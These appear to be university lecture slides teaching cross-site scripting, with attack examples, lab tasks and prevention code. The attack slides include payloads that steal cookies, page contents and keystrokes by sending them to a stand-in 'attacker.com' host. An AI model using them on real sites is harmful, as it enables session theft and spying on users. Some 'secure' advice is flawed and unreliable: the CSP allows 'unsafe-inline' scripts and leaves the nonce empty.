WEB-XSS-01
Cross-Site Scripting
CMU540: Cyber Security - Session 5
Birmingham Newman University
Lecturer: James Williams
Understanding XSS vulnerabilities and client-side security
3-hour session • 30 slides • 2 interactive tasks
Session Timeline:
10 min: Registration & waiting
20 min: Opening slides
45 min: Task 1
15 min: Break/Catch up
20 min: Secondary slides
45 min: Task 2
Remaining: Self-study
Learning Objectives
Understand OWASP A03: Cross-Site Scripting (XSS)
Identify different types of XSS vulnerabilities
Learn client-side security best practices
Practice vulnerability discovery using OS³ Studio
Implement secure XSS prevention measures
Explore career opportunities in web security
OWASP A03: Cross-Site Scripting (XSS)
Definition: XSS occurs when malicious scripts are injected into web applications and executed in users' browsers.
Types of XSS:
Reflected XSS (Non-persistent)
Stored XSS (Persistent)
DOM-based XSS
Blind XSS
Real-World Impact
Notable XSS Attacks:
Samy Worm (2005): MySpace XSS worm infected 1 million users
PayPal (2010): Stored XSS in payment pages
Facebook (2011): XSS vulnerability exposed user data
Impact: Session hijacking, data theft, malware distribution, phishing
Reflected XSS (Non-Persistent)
Attack Scenario:
<!-- VULNERABLE: Reflected XSS -->
<div>Search results for: <?php echo $_GET['q']; ?></div>
<!-- Malicious URL -->
https://example.com/search?q=<script>alert('XSS')</script>
<!-- Result -->
<div>Search results for: <script>alert('XSS')</script></div>
Characteristics: Script is reflected immediately, not stored
Stored XSS (Persistent)
Attack Scenario:
<!-- VULNERABLE: Stored XSS -->
<div class="comment"><?php echo $comment['text']; ?></div>
<!-- Malicious comment -->
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
<!-- Result: Executed for every visitor -->
<div class="comment"><script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script></div>
Characteristics: Script is stored and executed for all visitors
DOM-based XSS
Attack Scenario:
<!-- VULNERABLE: DOM-based XSS -->
<script>
var hash = location.hash.substring(1);
document.getElementById('content').innerHTML = hash;
</script>
<!-- Malicious URL -->
https://example.com/page#<img src=x onerror=alert('XSS')>
<!-- Result: Script executed via DOM manipulation -->
Characteristics: Vulnerability exists in client-side JavaScript
Blind XSS
Attack Scenario:
<!-- VULNERABLE: Blind XSS -->
<!-- Admin panel logs user input -->
<div class="log-entry"><?php echo $log['user_input']; ?></div>
<!-- Malicious payload in user profile -->
<script>fetch('http://attacker.com/steal?data='+document.body.innerHTML)</script>
<!-- Result: Executed when admin views logs -->
Characteristics: Script executes in a different context (admin panel)
Common XSS Attack Vectors
1. Basic Script Injection
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')></svg>
<iframe src="javascript:alert('XSS')"></iframe>
2. Event Handlers
<div onmouseover="alert('XSS')">Hover me</div>
<input onfocus="alert('XSS')">
<body onload="alert('XSS')">
Advanced XSS Techniques
1. Bypassing Filters
<!-- Case variation -->
<ScRiPt>alert('XSS')</ScRiPt>
<!-- Encoding -->
<script>alert(String.fromCharCode(88,83,83))</script>
<!-- Alternative syntax -->
<script>alert`XSS`</script>
2. Context-Aware Payloads
<!-- Inside HTML attribute -->
<input value=""><script>alert('XSS')</script>">
<!-- Inside JavaScript -->
<script>var name = '</script><script>alert('XSS')</script>';</script>
XSS Attack Impact
1. Session Hijacking
<script>
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>
2. Keylogger
<script>
document.addEventListener('keypress', function(e) {
fetch('http://attacker.com/log?key=' + e.key);
});
</script>
Career Opportunities in Web Security
Web Security Roles:
Web Application Security Engineer: £45,000 - £90,000
Frontend Security Specialist: £40,000 - £80,000
Penetration Tester: £35,000 - £70,000
Security Consultant: £50,000 - £100,000
Bug Bounty Hunter: £30,000 - £150,000+
Skills Needed: JavaScript, HTML/CSS, Web security, Penetration testing
Industry Certifications
Web Security Certifications:
OSWE: Offensive Security Web Expert
GWAPT: GIAC Web Application Penetration Tester
CEH: Certified Ethical Hacker
OSCP: Offensive Security Certified Professional
CISSP: Certified Information Systems Security Professional
OS³ Newman Cyber Security Lab
WEB-XSS-01 Lab Environment
Our OS³ Studio provides hands-on experience with:
Vulnerable web applications with XSS flaws
Real-world attack scenarios and techniques
Secure implementation challenges
Client-side security best practices
Access: Available through university portal
Practical Examples
Watch: XSS Vulnerabilities Explained
VIDEO
Understanding real-world XSS vulnerabilities and attack techniques
Case Study: Samy Worm
MySpace XSS Worm (2005)
Impact: 1 million users infected in 20 hours
Method: Stored XSS in user profile
Payload: JavaScript worm that self-replicated
Result: MySpace temporarily shut down
Lesson: XSS can be used to create self-propagating malware
Summary: Common XSS Vulnerabilities
Key Vulnerabilities to Look For:
Unescaped user input in HTML output
Dynamic content without proper encoding
JavaScript execution from user input
Missing Content Security Policy
Insufficient input validation
DOM manipulation vulnerabilities
Event handler injection
Task 1: XSS Vulnerability Discovery
Objective:
Use OS³ Studio to identify XSS vulnerabilities in the WEB-XSS-01 lab environment.
Instructions:
Access the OS³ Studio vulnerable application
Test for reflected XSS vulnerabilities
Look for stored XSS opportunities
Test for DOM-based XSS
Try blind XSS techniques
Attempt filter bypass methods
Document all findings with proof of concept
Prepare a vulnerability assessment report
Time: 45 minutes
Focus on systematic testing and thorough documentation
Break Time
15 Minutes
Take a break, ask questions, or catch up on the previous task.
Next: Secure implementation and Task 2
Secure XSS Prevention
1. Output Encoding
<!-- SECURE: HTML encoding -->
<?php echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); ?>
<!-- SECURE: JavaScript encoding -->
<script>
var userData = <?php echo json_encode($user_input); ?>;
</script>
<!-- SECURE: URL encoding -->
<a href="profile.php?id=<?php echo urlencode($user_id); ?>">Profile</a>
2. Input Validation
<!-- SECURE: Input validation -->
function validateInput(input) {
if (typeof input !== 'string') return false;
if (input.length > 1000) return false;
// Allow only alphanumeric and safe characters
return /^[a-zA-Z0-9\s.,!?-]+$/.test(input); }
Content Security Policy (CSP)
1. CSP Implementation
<!-- SECURE: CSP header -->
Content-Security-Policy: default-src 'self';
script-src 'self' 'unsafe-inline';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self';
frame-ancestors 'none';
base-uri 'self';
form-action 'self'
2. CSP Nonce Implementation
<!-- SECURE: CSP with nonce -->
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-'">
<script nonce="<?php echo $nonce; ?>">
// Only scripts with matching nonce execute
</script>
Secure JavaScript Practices
1. Safe DOM Manipulation
<!-- SECURE: Safe DOM manipulation -->
// Good: Use textContent instead of innerHTML
element.textContent = userInput;
// Good: Use createElement and appendChild
var div = document.createElement('div');
div.textContent = userInput;
parentElement.appendChild(div);
// Bad: innerHTML allows script execution
element.innerHTML = userInput;
2. Safe Event Handling
<!-- SECURE: Event delegation -->
document.addEventListener('click', function(e) {
if (e.target.matches('.safe-button')) {
handleClick(e.target);
} });
HTTP Security Headers
1. XSS Protection Headers
<!-- SECURE: XSS protection headers -->
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=(), camera=()
2. Implementation
<!-- SECURE: Express.js headers -->
app.use((req, res, next) => {
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
next(); });
Template Security
1. Safe Template Engines
<!-- SECURE: Handlebars auto-escaping -->
<div>{{userInput}}</div> <!-- Auto-escaped -->
<div>{{{userInput}}}</div> <!-- Raw HTML (dangerous) -->
<!-- SECURE: Jinja2 auto-escaping -->
<div>{{ user_input }}</div> <!-- Auto-escaped -->
<div>{{ user_input|safe }}</div> <!-- Raw HTML (dangerous) -->
2. Template Context
Always use auto-escaping templates
Avoid raw HTML output
Validate template data
Use template sandboxing
Client-Side Security
1. Safe Data Handling
<!-- SECURE: Safe data handling -->
// Good: Validate data on client and server
function displayUserData(data) {
if (!isValidUserData(data)) return;
document.getElementById('user-info').textContent = data.name; }
// Bad: Direct DOM manipulation
document.getElementById('user-info').innerHTML = data.name;
2. Safe API Integration
<!-- SECURE: Safe API calls -->
fetch('/api/user-data')
.then(response => response.json())
.then(data => {
if (validateApiData(data)) {
displayData(data);
}
})
.catch(error => console.error('API Error:', error));
Testing and Validation
1. Automated XSS Testing
<!-- Security testing tools -->
npm install --save-dev eslint-plugin-security
npm install --save-dev xss
// Run security audit
npm audit
eslint --ext .js --plugin security .
2. Manual Testing Checklist
Test all user input fields
Try various XSS payloads
Test different contexts (HTML, JS, CSS)
Verify CSP implementation
Check security headers
Career Development in Web Security
Next Steps:
Advanced Certifications: OSWE, GWAPT, OSCP
Specialized Training: Frontend security, JavaScript security
Hands-on Practice: CTF competitions, bug bounties
Industry Networking: Security conferences, meetups
Research: New attack techniques, defense methods
Resources: OWASP | PortSwigger | XSS Game
Task 2: Secure XSS Prevention Implementation
Objective:
Use OS³ Studio to implement secure XSS prevention measures and fix the vulnerabilities found in Task 1.
Instructions:
Access the OS³ Studio secure implementation environment
Implement proper output encoding for all user data
Add Content Security Policy headers
Configure HTTP security headers
Replace unsafe DOM manipulation with safe methods
Implement input validation and sanitization
Test the secure implementation
Document the security improvements
Time: 45 minutes
Focus on implementing industry-standard XSS prevention
Further Activity: Code Inspection
Advanced Students - Code Analysis:
For students with additional time, explore the source code to understand:
How user input is processed and displayed
Template engine configuration and escaping
JavaScript security practices
HTTP security header implementation
CSP policy configuration
Deliverable: Code review report with XSS prevention recommendations
Session Summary
Key Takeaways:
XSS is a critical client-side security vulnerability
Multiple XSS types exist (reflected, stored, DOM-based, blind)
Output encoding and CSP are primary defenses
OS³ Studio provides hands-on vulnerability testing
Secure implementation requires multiple layers of protection
Career opportunities in web security are growing
Next Steps
Continue Learning:
Complete the OS³ Studio tasks
Explore additional XSS techniques
Practice with security testing tools
Consider industry certifications
Join cybersecurity communities
Next Session: WEB-CSRF-01 & WEB-CONFIG-01 - CSRF and Misconfiguration